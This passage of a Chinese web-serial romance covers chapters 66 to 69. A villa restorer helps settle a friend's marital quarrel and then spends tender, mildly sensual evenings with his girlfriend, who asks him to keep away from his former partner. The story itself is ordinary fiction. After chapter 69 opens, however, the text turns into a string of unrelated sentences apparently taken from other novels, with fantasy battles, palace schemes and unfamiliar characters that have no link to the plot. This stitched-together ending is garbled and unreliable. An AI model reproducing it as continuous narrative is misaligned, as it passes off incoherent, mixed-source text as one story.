“不是,你还抽上烟了?什么时候的事?” “谈生意的时候姿态要放低,陪着别人抽,自己就学会了。” 他觉得自己说了句值得细究的话,但没空细究。 “砚哥,走吧,祝我们好运。” 陆砚:“?” 懒得吐槽。 跟着一对情侣蹭了电梯卡,辗转挪腾间,15楼到了。 檀木与雪松香氛裹挟着适宜温度扑面而来,步出电梯,地毯的触感骤然柔软。 走廊尽头的油画前,便是1506房门。 男人做了决定便不再拖泥带水。 敲响房门: “笃,笃笃!” 敲第二遍,门开了。 见到林晚声红着眼打开门的瞬间,陆砚感觉天塌了。 或许,今晚的事情比想象中的严重。 陈禹,你小子究竟犯了什么事? 电影里,酷酷的主角团成员们,甚至在决战前夕都没有交换过情报。 此时陆砚也才想起来,忘记问他俩究竟怎么了。 “哈,哈,晚声,我来找颜颜。” “我们应该没那熟,别喊我晚声。” 干笑后的陈禹一个撤步让陆砚顶上去,而陆砚只看着,她的嘴边沾了一缕发丝。 “晚......” “我们也不熟。” “...” 明明上次笑着说‘还是叫我晚声吧’,如今话语已经消散在夜风中失去了依托。 这是气话。 “‘我们’先暂时搁置这个问题,颜朵在里面吗?让比较熟的他俩聊聊怎么样。” 这是公道话。 里面用到的技巧是‘转移视听’。 人在难受时不能把话题放在自己身上,它会加重‘自怜’从而引发情绪不稳。 应当把注意力转移到他处,这样‘自怜’会一定程度上变为‘同情’,从而让提议者更易得到认可。 门神瞥瞥头,没说‘可’与‘不可’,那便是同意了。 有诚意的人必须拿出诚心来才能得到想要的结果。 陆砚了然。 轻拽袖口,她便像遭了巨力似的被‘推着’让开。 走前和陈禹交换了个眼神——‘剩下的就交给你了’。 领着林晚声来到休息区,在没有其他人的空间里,两人对坐。 “其实,到现在我都不知道什么情况,你刚刚......还好吗?” 对方只穿个长袖奶白色睡衣,齐膝睡裤。 不施粉黛、脸上呈现几分气血不足的脆弱。 却是陆砚最不忍看到的模样。 情愿她吵闹、怪罪或是带着攻击性,也好过此刻下眼睑肌肤透着桃子般的粉,睫毛上、晶莹的泪摇摇欲坠。 “晚声?” 曾经的他用拥抱代替千言万语,正如此刻的他,坐在另一边绝不靠近一步。 心疼林晚声,但爱让人坚定立场。 “我没事,你最好希望颜颜也没事。” 不是,咱又没做错什么,怎么好像她的悲伤要我来负责似的? “她怎么了?” 陆砚这句废话的背后,藏着深切的忧虑: 怕陈禹做了什么出格的事情。 尽管他为人谨慎但远远称不上本分,尽管对方生意上面面俱到,但在感情上还是少了些如他一样的耐心。 陈禹这对,几乎和他与林晚声同时期、且修成正果的恋人,承载了他们未能达成的遗憾和美好祝愿。 所以,新婚不到十天,你小子最好本分点! “觉得陈禹不爱她了。” 林晚声开口就是最吸睛的说法,吓得陆砚背都绷直了。 “我也这么觉得。”她补充道。 “这......不可能。想多了吧你们。” 爱与不爱的问题顾大律师和法官都难以断案,只要存在争议,自然得挺兄弟。 何况这个话题过于沉重,不适合往坏处聊。 “我要吃夜宵,长乐路小酒馆旁边的那家粥铺。”她突然说。 愣了一瞬。 “好,你等会。” 本能地答应,起身准备下楼。 “你看,连你都愿意去买,但陈禹不愿意,连外卖都是颜颜自己点的。” 又坐了回去,细品总觉得哪里不对劲...... 此处类比大有问题。 “这不能说明什么,晚声,或许那天他累了。” “只是一个例子,重要的是,‘累的’频率高到让颜颜......六年,快七年感情了,高到足以让颜颜没有信心。” 曾经陈禹是个顶着三度大冷天,不管晚自习结束、还是实习下班返校,都要两人见上一面的‘机会主义者’。 其积极程度,若是上海会下雪的话,旁人也会认为这小子能克服——就是这样让人确信的积极。 如今天上月亮变成饭黏子,机会主义者得到了想要的,便将目光投向他处——林晚声为之悲愤——陆砚这么理解到。 “人生不会有第二次这么长的恋爱了。在陈禹心里,颜朵肯定是最重要的人之一,这点不用怀疑。” 七年感情修成正果,是独一无二的! “你是这么想的吗?” 目光投向这边,内含意味不明的光芒。 那是一双含情目。 开心时弯得像月牙;得意时像狐狸;难过时透着晶莹; 此刻,神秘得像一只刚刚落泪的猫。 她想诉说什么? 为什么自己原可以带着杨灵一起过来,却选择了独自赴约? 林晚声就在眼前,自己真的是怕陈禹的隐私泄露给自己的‘女朋友’吗? 呼—— 打住! 关于感情的讨论必须到此为止了。 再说下去,话题便会朝向两人的过去发展,这对杨灵,无疑是种背叛! 他的神经一下子紧绷起来。 当前不是一道可以比较的选择题,而是有、且仅有唯一答案的填空题: “我去买夜宵,”怕对方会错意,补充道:“给他俩也买一份。” 第六十六章 下班后要在一起 “哟,小伙子好久没来啦?” 光头老店家是,夹在霓虹闪烁的小酒馆和挂满腊味的副食店中间的粥铺老板,三米宽的铺子总要到深夜以后才关门。 五年时间一晃而过,他坚守在这里,连带陆砚曾经的模样一并留在脑海。 原来不经意间,会被陌生人记这么久吗? 心里暗自感动,说:“叔,您记性真好。我要一份瘦肉粥,三份......” 目光在手写木制挂牌上扫过,是什么来着? “山药小米粥吧?” 我去! 老板记性绝了。 如果说刚开始还怀疑对方故意套近乎,现在则全是满满的感动了。 “大叔,您这老字号就是有人情味,我以前就爱喝这个。” 老板斜了一眼,没说话,慢慢挪步去打包粥点。 暂时抛开酒店内那些事,陆砚带着缅怀打量着此处。 褪色的木质招牌上,‘老陈粥铺’四个字被油烟熏得发乌,像块被揉皱的旧手帕。 曾几何时,多少人在小酒馆把昨天吐得一干二净后,又在这里汲取到一丝温暖? 想必深夜粥铺的意义便在这里。 每个人都会被闪烁的彩灯迷得沉溺进去,但最后总会渴望一间普普通通的粥铺,若心爱的姑娘不在身旁、至少会有同样暖的温粥一碗。 “我记不得那么多,是玩吉他的小囡这个月常来,”大概率姓陈的老板说道,手中打包袋里装着四份粥,“一直点这个。” 接过手中打包袋,夜里的风竟能无视身上的工装,吹得胸口发凉。 明明......她以前不爱吃的。 ...... 昨晚十一点左右,杨灵在陆砚的施工日志上给予意见,拍照发过来: ‘建议传统手工勾缝工艺与现代防水材料结合,如苏州河畔编号q4-947老洋房修缮中,采用纳米二氧化硅防水剂替代传统石灰水,防水寿命从5年延长至20年以上’。 与此同时,还在上次寒潮的日志上做了补充: ‘铁艺栏杆、铜制落水管在高湿空气中形成电解液膜,5℃低温虽减缓腐蚀速率,但持续潮湿会导致锈层由点蚀转为面蚀。 建议排查。’ 陆砚有种错觉,这是杨博士第二次‘温柔的报复’,因为抛下她独自去赴约了。 然后微信界面里是这样说的—— 墨斗先生:大概半个小时以后就回去了,怕你睡着,先提前告知哈。 墨斗先生:(比心.jpg) @adeline:只是正好批完日志,没有催你噢。半个小时的话还是不会睡的,到家再跟我说吧。 这么长的内容肯定是以语音的方式呈现。 提着夜宵往酒店走的路上,顿时有些低沉的心情就通透了些。 人与人的悲欢并不相通,美好而幸福的生活正降临在他身上,他感到无比珍惜。 墨斗先生:(语音)那睡前还是喝牛奶吗?今天做眼保健操了吗? 他可爱的女朋友看起来端庄秀美的背后尽是萌属性,就本句中的‘可爱’,一众形容词中出现得突然。 @adeline:这些事情每天都会做。但是今天被人放鸽子了,很伤心。 有种语气是‘快来安慰我’,偏偏语句的内容是‘我很伤心’。 想来这便是坦率之人独有的魅力。 等等! 墨斗先生:顾律师放的? @adeline:第一次约某人晚上去玩,结果他走了。 哪有临时约定的? 噢是杨小姐啊,那没事了。 虽然此前他们根本没约定下班待一起,但以后......恐怕得有这个‘不成文’的规定了。 放下手机。 星期六的早晨很有星期六的味道。 最终陈禹还是‘安然’带着颜朵出来,四人一块吃了个夜宵。 或许颜朵心里仍有些微不满、不满中藏着没有挑明的委屈,但结果一定是她选择独自消化。 不然娇宠长大的她,为什么没让家里知道? 仅仅只叫上最好的朋友躲进酒店这个举动,就已经说明了很多。 未来四十年、五十年,她与陈禹都将是最亲密的爱人、战友和家人,她的身份已然从一个年轻女人转变为已婚妇女。 将来还会是孩子的母亲。 因而有些事情,只能夫妻之间处理,即使是自家父母也帮不上忙! 罢了罢了。 八点十五,施工队没有双休,陆砚起床洗漱。 他想着,今天多做点事,或许之后会有空闲休一天假,陪陪杨灵。 对了,比平时早起十分钟是为了干嘛来着? 还要去花店寄花! ...... 定期跟导师视频沟通结束后,便在论文框架下阅读相关文献。 临近十点,又花了将近七十分钟时间给同门硕士生回邮件、给意见。 起来伸展一会,抑住揉眼睛的冲动,先去洗手。 不得不说,在高强度用眼安排中保持良好的视力,是件让周围人不仅一次表示感叹的事。 这得益于十年如一日的良好习惯,杨灵为此感到骄傲。 从中医上讲,眼睛属肝肾精血充盈,是全身健康的窗口; 从生育角度来说,她的宝宝也会有一双任谁看见了都会称赞的、漂亮的眼睛。 从各个方面评估,自己都是位优秀的女人。 所以任务繁重到没有尽头的周六,午饭时间偷会懒、悄悄去找自己男朋友吃饭,也是毫无负罪感的! 洗手台前,杨灵涂着防晒。 镜子下方是昨天刚买的唇釉和漱口水,准备出门一并带走。 乔乔说‘要矜持’,可她已经撑到了第二支玫瑰,对此也算有了交代。 中医果然说得很准。 镜子里,从脸颊到耳后,健康的淡粉色是顶好的胭脂也渴望模仿的充盈状态。 皮肤温润有余,像刚敷完面膜的状态。 微微动作间,乌木发丝便淌过色泽的涟漪。 眼前景象只要对方喜欢,就是让她计算着卡路里和营养均衡、再健康饮食十年,也愿意。 “嗡——” 电话。 不是陆砚打来的。 看到跨国号码的一瞬间,手指缩了缩。 “回国之后这么忙吗?adeline。” 亲和的女声传来,手机上的备注是melanie。 “抱歉,我忘了今天......” “哈哈,这是好事,快跟我说说最近怎么样?” 杨灵顿了顿,认真地说: “melanie,我觉得......最近特别开心。我谈恋爱了,未来有结婚的打算。” ...... 可是现在才初秋,即使光着膀子在街上也冻不死人。 林晚声像个遗失的音符,顶多不痛不痒地在深夜某个时刻‘叮咚’一下蹦出来,惊得他一愣。 仅此而已。 他的心很小,小到只能同时爱着一个人。 所以如何呢?知道了又能怎么呢? 你会因为一个老朋友在无人知晓的日日夜夜用行动怀念你,而感动到要向她表白? 现在的陆砚,绝无可能这样做。 车子引擎划破昏暗的夜,前车灯将前路照得亮堂。 人爱着过去的美好,并不意味着会选择将过去再走一遍。 林晚声改变了他,她的身影连同被她改变的这部分完完全全地融进了男人的灵魂。 是以他也变得感性、偶尔文艺,情商得到了多次锻炼和练习、愈发懂得女人心。 是,没错。 问一千遍,也会说‘深爱过’。 那个女人曾是生命中无可比拟、无可替代的美好,但现在的两人即使面对面抵死相守,也再不能与当时并论半分。 就像琥珀里的蝶翼与花骸,残留着几亿年前的温度,却再也焐不热初见时疯狂跃动的心。 永远不能。 ...... 绕过白色布片裹着的老座钟和角落里一闪一闪的不知名监测器,陆砚一把把张野薅住。 “张哥,午睡结束了,跟我去外头搞搞清水墙。” 说到午睡,三周前说收拾东西准备搬进来,结果迄今为止还只搬了张行军床、在洋房睡了一晚上。 虽然中间有长假和寒潮的缘故,却也委实有‘磨洋工’的嫌疑。 遂今晚,最迟明天,他打算搬进来。 缺什么再添置,先住下,谁晓得会不会有什么‘大旱’或者‘大水’? 从清水墙开始,老洋房就算插上了呼吸机,得有人二十四小时盯着咯。 “陆哥,我去买包烟先,下午两点实在难熬。” 陆砚不抽烟,就是最难熬的时候也没抽过。 这玩意味道重、花销大、还伤身,从性价比考虑,青少年的他还没抽就直接进入‘戒烟’阶段了。 但表示理解。 双休日只有四个人,张野、小赵和老周,全是核心成员。 得亏张野中午睡得着,周和赵两人从早上开始,就‘彩绘雀替’各部位的优先级展开了小规模、长战线、高频次的讨论,直到现在。 “诶,诶,这个孔我考虑了下,还是得开。我晓得你处理起来也麻烦,纹理细了伤脑筋。但是小赵,你听我说......” 老周的嗓门随着多日以来、渐渐平静的心,也变得和气。 侧耳朵听了会,看样子两人的磋商快到‘谈和’阶段,便放下心出门。 这里有个误区得解释清楚: 经常有老师傅说,我修某某物件用了两三年时间之类的,可千万别以为是无时不刻地工作那么久。 根据经验来看,不是级别较高的收藏款文物,这两三年时间怕多是在‘等待’中度过的。 勘测与定方案一个月,材料准备俩月,修补和等干燥仨月,彩绘又是三四个月等等。 可不得数以年记吗? 情况困难的时候,‘等’的时间要占百分之六十左右。 雀替相对来说不那么‘困难’,修补起来大致三个月时间。 什么?自己人? 那顶多俩月。 确切来说,木作一周半,彩绘花两周,然后其余都是‘等’的时间。 ‘等’字非常磨人。 这便是陆砚将要住进来的意义所在,也是杨灵‘嫌弃’传统工艺的主要原因。 他看着门廊、窗楣的砖拱券,拱券与山花展现着砖石结构美感。 砖体裂缝、粉化,盐碱风吹、酸盐腐蚀,不改其横平竖直、错缝搭接的坚定。 原本刺刺的阳光也会为之和煦。 老洋房的地域识别性极强,不同地区用料和修筑细节大不相同,其地区人民的精神内核与气质亦有所区别。 正如建筑学家伍江所言: ‘上海老洋房不是简单的风格模仿,而是一个民族在现代转型期的集体心理沙盘。’ 当青砖拱券遇上马头墙,当马赛克拼花遇见砖雕牡丹。 这些矛盾共生的空间语汇,恰是那时的人民在传统与现代、本土与西方夹缝中寻找出路的精神化石。 做完精神建设后,果然眼前的工作便有了积极滤镜。 于是干活,今日累计工作时长,再加三个半! ...... 直到前厅的老座钟发出下班的顿挫敲击声,樱花粉色保时捷才掐着点赶到。 整个下午,陆砚都尽量先对阴凉中的部分完成检查,还是落得大汗淋漓的下场。 如果杨灵愿意理解的话,他想先回家洗个澡。 这不算放鸽子吧? 台阶上,台阶下,隔着车窗,隔着她酷酷的墨镜,两人一刻也等不及地笑着。 果然,下班以后在一起,成了心照不宣的‘潜规则’。 第六十七章 此心因你而雀跃 生活像梦一样不真实,跟在亮眼的粉车后面,他即将得到本年度最好的物质礼物——一件睡衣! 红豆不知是不是王维诗里的红豆,但睡衣肯定不是简单的睡衣。 还记得上次她说: 陆先生,我觉得今天不合适,因为还没有准备你的睡衣。 完了还加上了‘下次一定’。 没想到,下次真一定呀!! 杨小姐是诚实的女人。 诚实是众多美德之中,最耀眼的宝石,这一刻,陆砚认为没有‘之一’。 ...... 二十分钟前,杨灵再次踩点把车开进老洋房前院,隔着墨镜看到灰暗世界里的陆砚。 汗珠正顺着他鬓角、沿着棱角分明的喉结,滑进敞开的衣领。 男人倚在车前,那双眼睛像是藏着深秋的潭水。 阳光在挡风玻璃上碎成金箔。 她握着墨镜的指尖突然发颤,心脏在胸腔里擂出擂鼓般的声响。 听见自己喉咙里溢出的气音,像是被掐住脖颈的蝴蝶,连耳尖都在发烫——原来心动时,真的会丧失语言功能。 不到两个月的相遇,此刻在脑海疯狂倒带。 他躺在酒店床上、雨夜站在老洋房门外,便利店暖黄灯光映得陆砚温柔至极,将她的目光吸得死死的。 而现实里的他比记忆更鲜活。 杨灵慌忙将墨镜重新架上鼻梁,镜片后的眼睛仍贪婪地捕捉着男人的每一个动作。完全忘了,手边还一个平板孤零零的等待递送至男人手里—— 监测器的各项数据就在里面跳跃。 “我亲爱的朋友,”他抬手抹了把脸,手臂肌肉线条紧绷,“如果你不介意的话我想先洗个澡,晚上我们一起吃饭,好吗?” 原来所谓初恋,就是心脏突然学会了叛逆,明知危险,却甘愿溺毙在那双眼睛的深潭里。 “......我,我正好给你买了睡衣。” 她想豁出一切的去爱一个人,完全地占有一个人的全部爱意。 ...... ''不用谢。我因你而雀跃着的心,是你赠与我最宝贵的礼物''。 客厅最显眼的位置有个花瓶,一粉一白的玫瑰和手写卡片就在那里。 陆砚在洗澡,她在做饭。 开放式厨房台面上,经砝码称一道道过检后的调料,在某种程度上吻合了‘分子料理’的概念。 砂锅端上灶台,开始酝酿美味。 同时,精确而稳定的手按照印象里的顺序,将西兰花、牛油果和小番茄刀工处理后放进容器,倒入牛奶。 这是她平日的主食,今天的配菜。 容易引起对方‘说教’的秘密就让它沉默吧。 劳累一整天后,现在属于两人的轻松时刻,她无比期待着。 没一会,物业管家把米饭和特色菜送到门口,陆砚也刚好洗完澡穿上她送的睡衣出来。 “咔嗒!” 带着水汽的雾率先漫出。 蓝白色丝质绸缎睡袍,领口绣着藤蔓花纹,细腻优雅不失时尚感。 轻微,只有轻微颜控的杨小姐放下手中的餐、径直走到身前,说: “衣服还合身吗?饭快做好了噢~” 眼尾颤了颤,暖光下,瞳仁里跳动着宣纸上洇开的橘色水墨。 情商和头脑经过热水放松后、调整至巅峰状态的陆砚看见的是: 眼睛水润的杨灵和嘴角泛起正好可以落下一大片樱花的笑容。 耳朵听到的却是,‘快夸我。’ 脚自觉向前半步,伸手便环出了对方腰的尺寸。 毫不犹豫—— ‘啧’的一口亲在额头上。 轻微的声响,像大提琴弦上划过的一个颤音。 细腻的触感、沁人的香甜。 墨蓝的夜纵容月光在窗沿肆意撒欢,一切都是情不自禁的推手。 她颈间的奶香混着他袖口的雪松味,在空气里绞成缠绵的线,像潮汐与沙滩般无需言说—— 月亮刚把浪头推抵向岸边,湿沙就主动藏进了浪花的胸膛。 如同他指尖此刻钻进她指缝的姿态,连呼吸都成了引力场里逃不掉的共振。 这只是一个试探,今夜才刚刚开始。 ...... 静安别墅,穹顶悬着水晶灯,顾南乔和一个人吃饭。 因为阿姨不上桌,是顾明远立的规矩,即使他不在、规矩在。 光线坠在骨瓷餐盘上,翡翠虾仁的芡汁亮得发黏,剔透的虾仁被胶状光泽裹着,把四菜一汤的油光焐成诱人的模样。 她用银匙舀起一勺汤汁,还是以前的滋味,却觉得没什么胃口,因而连带整桌菜的光泽正以肉眼可见的速度冷却。 仿佛西兰花的切口是近乎病态的亮绿,汁水流到餐布上渗出暗褐色的水渍,像以前的旧报纸。 无聊的时间跳了两支恰恰舞。 空气里弥漫食物冷却的腥甜,与水晶灯折射出的铅灰色光泽绞成绳,正悄然勒紧这座宴请过诸多富商的餐桌。 她觉察了什么,又不能、不敢掀开去看。 ...... “陆砚~” “在呢。” “你喜欢我吗?” “喜欢。很喜欢很喜欢。” 两人的眼睛离得很近,这一刻不需要说话就能交流。 他也明白对方的意思,于是重复着‘喜欢’二字,以表坚定。 “那......你亲我的事情,就先不报警了噢。” 怀里的人说。 “喂,以前不都先找律师的吗?怎么现在连警察叔叔都麻烦上了。” 就没见过一边‘报警警告’,还手搂着不放的被害者。 哦,抓住嫌疑人协助办案是吧,杨小姐实乃三好公民的典范。 杨灵眨了眨眼,呼吸打在他喉结上,几乎亲了上来,“所以你要知道事情的严重性。” 同样一句话在不同语境下是截然不同的表达和心情——因此人们要通过眼睛找到心里的窗口。 陆砚看着对方的眼睛,好看的眉眼间硬是没找到‘严重性’所在。 反倒是心理学有个词叫‘可爱侵略’,此刻就非常恰当。 强按住想‘欺负’对方的冲动,顺从说: “亲爱的杨小姐,美丽的杨灵女士,最最可爱的宝宝,我喜欢你,如果这其中有什么误会的话千万别生气。” “哼,我现在就很生气~” ‘生气’的尾音是像撒娇一样的慵懒。 或者说就是撒娇。 倘若怀里仅仅是个97分的女孩,或者香水味刺鼻、或者头发干枯有分叉,或者有任何、陆砚评分体系里可以找到瑕疵的女孩—— 此刻都会产生‘细微的不耐烦’,以至于类似的对话多了以后会发展成‘有点不耐烦’的程度。 可她是杨灵,仿佛按照审美长起来的女孩。 他的喜爱,是‘别的女孩会因为不像她而扣分’那样的偏心。 是抱着她足够忘记其他情感的满足。 怎么会不耐烦呢?陆砚怎么会‘嫌弃’杨灵呢? 齿轮的齿牙与榫卯的凹凸天然登对,他们就是这样的关系。 把手松了松,留出一截让他不会暴露的空间,大头飞速分散着注意力。 “宝宝别生气,快和我说说,咱们一起想办法开心起来,好不好?” ‘软玉入怀’当真是再贴切不过的描述,可惜四字因简短而叫人一时间体会不到画面——陆砚思维疯狂发散着。 现在才七点出头,不要出头啊! “可是你昨天丢下我一个人走了。” 嘴唇瘪了瘪,这句确实有将委屈情绪传达出来。 在恋爱中,哪怕对方说‘没事’,也一定要追问‘亲爱的,真的没事吗’。 一定要多问几次。 每个人都需要自己的情感得到重视,相应的,每一次照顾到细微处、便获得了在对方心里增加重要性的机会。 陆砚最欣赏杨灵的地方就在于她的坦率。 不用反复揣测情绪,有话绝不暗示来暗示去,直说就很好。 “以后下班我们一起走好不好?如果有事一定提前跟你说。” 他给出了解决方案,并决定严格执行传达爱意。 不仅仅是为了在气氛微妙的夜晚、讨对方开心! “好~” 两只手挪了挪,放到他的腰窝处,这样可以把头微微后仰、看清对方整张脸: “可以跟我说说昨晚的事吗?为什么喊你过去呢?” 想亲。 咳咳...... 昨晚是一出典型的、婚姻试图葬送爱情的事故,陆砚想着。 不过这样也太煞风景了。 换个说法,用‘夫妻之间的情趣’概况,能否为‘爱情’挽尊呢? 要知道,此刻他们正以‘爱情’的名义相拥,切不可解构它、污名它。 他犹豫着说辞。 只是火车轨道被扳离了路线,车上乘客对此全然未知。 “如果以后你和林晚声尽量不见面的话,我会比较安心。”她说。 第六十八章 一个美女的自我修养 两束玫瑰斜倚瓶口,并没有想象中的风邀请它们在此间夜晚轻轻摇曳。 仍是靠在一起说话的姿态。 陆砚却觉得,下一刻就该松开手、各自无事发生般吃晚饭了—— 这绝不是面对问题的办法。 偏偏逃避的心情来得巧,趴在耳边说‘先放一放,以后再想办法’。 杨灵一向温柔、好哄,不是吗? 找个不错的天气约她出去玩,一起去西岸美术馆看‘重塑景观’; 徐汇滨江打卡油罐艺术中心; 漫步甜爱路、那里有爱情邮筒和心型路灯,到时候收集粉色的爱心邮戳做纪念,对方肯定会高兴的...... 人生有很多时刻已然站在了分岔口而当事人无所知。 就像郑和在古里港写下最后一页航海日志、拿破仑不顾库图佐夫警告直捣莫斯科。 倘若‘自作聪明’的陆砚在下一秒秀起他自命不凡的恋爱技巧,是否便没有后续的展开了? 不知道。 人无法知道没有发生的事情。 男人沉吟了许久,对方也始终没有松开手: “那天,以及和你在一起后的每天,你都可以安心信任我,真的。” “我知——” “还有,如果我的女朋友会因此不开心的话,就让其他适龄异性回避着吧。我喜欢你,她们加一起也没你重要。” 这算情话吗? 另一方觉得算,但他不这么认为。 首先,在‘异性’面前加了‘适龄’,便不包括亲人之属,增加了可信度。 其次,对方只针对林晚声、而非其他人。 所以把话说大一点,也不影响后续和颜朵、苏棠还有顾乔乔她们相处。 综上,表达‘避开前女友’即可拿满分。 果不其然,杨小姐终于不吝啬自己的情绪,回以值得品味一整晚、也足够有盈余的满足神情。 眼神如此深情,宛如说出誓言前一秒的新娘。 “陆先生——” ‘生’字的尾音拖得很长。 “在。” “亲亲~” ...... “亲爱的我问你,” 杨灵面对面跨坐男人腿上,唇釉的光泽和漱口水的芬芳今夜全然不曾浪费。 双手搭在肩上目光灼灼、几乎拉丝的眼神看着他: “我漂亮吗?” “漂亮。” 脱口而出。 双手亦搂放在腰上。 此刻哪有夸赞的心思,古人讲饱暖思淫欲,话糙理不糙。 虽然刚确定关系就着急推进,十分有损绅士风度且容易被扣上‘不尊重对方’的帽子。 但万一对方不介意呢? 万一呢? 趁热打铁,事在人为! 得试试,况且试都不试岂不是更不尊重对方? 她抽回一只手指了指脸蛋,“它得早晚护肤,定期美容,而且要饮食清淡、健康。” “吧唧!” 亲了一口,表示甚得他心。 杨灵笑了笑,撑着起身,侧坐旁边把腿放上沙发。 “亲爱的,腿好看吗?” 水洗蓝的短款居家裤松垮地挂在胯部,裤腿卷到膝盖上方,露出纤细脚踝。 伸直的双腿搭在一旁,小腿绷成两道流畅的弧线。 “好看。” 说罢,陆师傅自恃‘替她缓解疲劳’的名头,拿起盈盈一握的脚踝,抄过来放腿上,做按摩。 腿部肌肉随着动作微微收紧,又很快放松下来,皮肤在光影里泛着温润的珍珠光泽。 她说:“需要科学的走路姿势和保持良好坐姿。” 闻言陆砚轻轻拂过,心头燥热几乎无从缓解,还是应和道: “没错,难怪这么好看。” “走路的时候连脚趾发力都得标准,而且还得回避剧烈运动,偶尔累了需要肌肉放松,出门得注意防晒。” “杨小姐说得是,以后多给你按摩。” 摸不着头脑,但送上门的福利不要白不要。 小腿按完...... 就得开启下一流程了吧? 对面没阻止,接着问: “亲爱的,我身材好吗?头发柔顺吗?” 游走的手掌顿了顿。 压下那些心思,陆砚开始回过神来,思索对面的意图。 如果此刻还没察觉不对劲的话,他上段恋爱算白谈了! 杨小姐是怎么了? 脸颊像滴入清水中的胭脂娇嫩,眼神里近乎盈满的情意,嘴唇润亮、微微开阖,香甜的记忆犹在眼前。 这段翻看‘说明书’似的讲解,不像求夸奖,是...... 不安?诱惑? 还是铺陈着什么东西...... “亲爱的,你真的很好。从第一次见面的时候就被你惊艳到了。” 压下激动,他用真诚的语气说。 真诚是敲开心扉的钥匙,或许亦是开启美好之夜的钥匙。 杨灵明显爱听他说这些话,脚踝晃了晃。 “陆砚~” “你说。” “我花了很多时间和精力让自己优秀起来,你会一直喜欢我吗?” “会的,放心。” “你会在某一天,发现我不优秀的时候,嫌弃我吗?” 很明显,在陆砚眼里再明显不过了,这是女孩在做重大决定前的心理建设期。 男人,须得把真心剖出来,献上最深切的爱来佐证它在时间的发酵下、不会变质。 可未来的事,一个普通人又怎么证明呢? 是以,怪不得天下男人‘花言巧语’,没准他们是认真的呢? 放下膝上双腿,他拉过对方,脸颊挨着脸颊,让彼此心颤且充实的接触像电流划过: “怎么了?我那优秀到不真实的女朋友,可不可以跟我说说,你的感受。” 对方的呼吸像羽毛轻轻挠过,勾得人想再近一点、更近一点,方才止痒。 “嗯——,我觉得你以后要对我好一点、更好一点,非常非常非常好才行。” 语气纯真、浪漫,却真挚。 就像渴望糖果的小孩,总是在想要的事物面前不满足。 爱情之于杨灵,远比一般女孩重要得多。 它是开启亲密关系的钥匙,亲情的通行证,寂寞的解药。 是种种问题的终极答案,是愿意奉献一切也要寻求的唯一解决。 面对恋人的要求,男人想也没想便答应下来。 遂双手又开始游走于理智之外,准备找到今夜的最佳度过方式。 “亲爱的。” “在。” “别摸了,我害怕。” “...” “...” 极力控制面部表情不让失望露出来的陆砚,用残存的最后一丝理智开口: “那,那肩膀酸不酸?我帮你揉揉......” 他就是如此绅士且温柔的男人。 一定要耐心,每每在功亏一篑的时候一定要耐心,陆砚。 “嗯,酸~” 好看的脸蛋眼神迷离,亲昵地蹭了蹭。 没有听过杨小姐说上海话,但上海女人钟爱的撒娇技能,亦是点满了。 ...... 几乎不存在没有情绪或者话少的女生,有的只有你和她的隔阂。 今晚之后,曾经‘淡漠’到一度被陆砚以为是‘机器人’的杨督察便彻底下线。 如果对方有兴趣的话,偶尔去婚宴上客串司仪想必也可以。 就是在新郎准备庄重宣誓的时候,定要抛出千八百个精心准备的问题,然后宣布‘彩排结束’的那种沉浸体验式司仪。 挂毯旁的角柜,以及角柜上方花瓶内的两束娇艳玫瑰可以作证: 他们聊了很久,平淡的日子里竟有种‘生离死别’之际的依恋。 或抱在一起、或头抵着头各自数着对方睫毛。 从一起冲牛奶到洗手台前刷牙,始终有只小手牵着他不肯放开。 目睹对方的同款睡袍后,即将在偌大的房子分手、各回各的房间时,月光打在窗前,洁白而温柔。 种种舍不得忘掉的过往,看着杨灵,轻松了不少。 ‘林晚声’三个字仿佛成了一个加密符号,嘴里念着,心里却完全不能和那个人对应起来。 尽管—— 让一个人忘了另一个人几乎是不可能的。 逻辑上更是说不通。 只是陆砚知道,在各自获得幸福的路途中,他必须做出选择、承诺。 答应的事情定会拼了命去做。 ‘此后尽量不见她,直至彻底忘了她’ 就当说大话吧。 正巧,一直都想这么做了,不是吗? “宝宝,要不我陪你睡吧,保证老实!” “宝宝,低头~” ‘吧唧’一口作为晚安吻后,“陆先生是大人了,要自己睡噢~” 第六十九章 带你通关 昨晚杨灵思虑好久,还是没让陆砚放下工作陪她一天。 尽管明天是周末。 清晨的第一缕阳光透过她特意留的窗帘缝隙、打在房间天花板上时,便迫不及待起床洗漱,甚至特地涂了唇釉才准备去另一边房间。 “早......上好。” 一推门,陆砚正巧在门外,拿了杯苏打水准备敲门的样子。 温玉到宋华坤和宋夫人面前磕头见过礼,收到了各自送出的礼物。然后转去宋懿行面前,去拜见这位新上任的兄长。 “你不是一直问我是是么?”那血红色身影没有回答他,反而问道。 大约走了十几分钟。众人在转过一个洞穴的拐角之后,终于是发现了一些痕迹。 她这些天也想通了,一段感情要想长久,那就必须要学会付出,而不是只知道索取。她虽然是一个演员,但也不是不拍亲密戏就活不下去的那种演员,为了安斯艾尔牺牲一下,也不是什么大不了的事情嘛。 “呃,难道被看穿了?”宋懿行虽然心里起了嘀咕,但面上却是无比坚定地点点头。 “轰!”随着能量法球接触到了亡灵高塔的表面,它们在嘉莉丝的控制下全部的爆炸了开来,剧烈的冲击波猛地四散,把周围的一切都肆无忌惮的破坏。 而另一边,杨老爷子,却直勾勾的看着黄一欧。好一个相貌堂堂,虽然比我们家昭运差一点,但是也是气宇不凡。 顿时。那些圣职者们死伤更加的惨重,几乎无法组成有效的防御阵营。 话语落下,他又是看向萧炎,脸庞上的笑容,却是让人感觉如同刀锋。 “学,娥夫人轻哼一声,道:“只耍你把事情办的好,没有漏子,贾夫人就跑不了。呵呵,虽说大夫人死了,受惠最大的是我,大夫人如果出事,我是首当其冲。但是我当真就不敢动大夫人吗? 这趟出行,本就是因为白莫寒功力尽失,广灵宫内又人人对她虎视眈眈,所以才想出的缓兵之计。 易啸天满嘴胡邹,并没有对阵法的事情说实话,其实关于是不是神符师的回复,他也不算撒谎,他对于神符师也没什么了解,只是隐约听说过,应该是与元力修行相对应的神识修炼,或者叫做精神修炼。 “朝烈不愧为军事奇才!”庞夜看着自己提供计策后,他立刻加以完善,忍不住赞叹的看着他。 “风岚他不是外人……他!”姜蕴下意识地想开口解释,却及时住了口。她不想让其他人知道风岚的真实身份。 因为索萝雅曾告诉自己,云纱和普通海族人不一样,出现这样的情况很正常。 有时候本杰明也十分疑惑,那些连锁店到底是怎么开起来的,那么多店管理起来难道不麻烦么? 对于韩以晨来说,李有为就像是他的儿子一般,陪伴他这么多i年,他们之间的感情不可谓不深,方才在外头等候的这一会儿时间,他坐立不安,就没有消停过一瞬间。 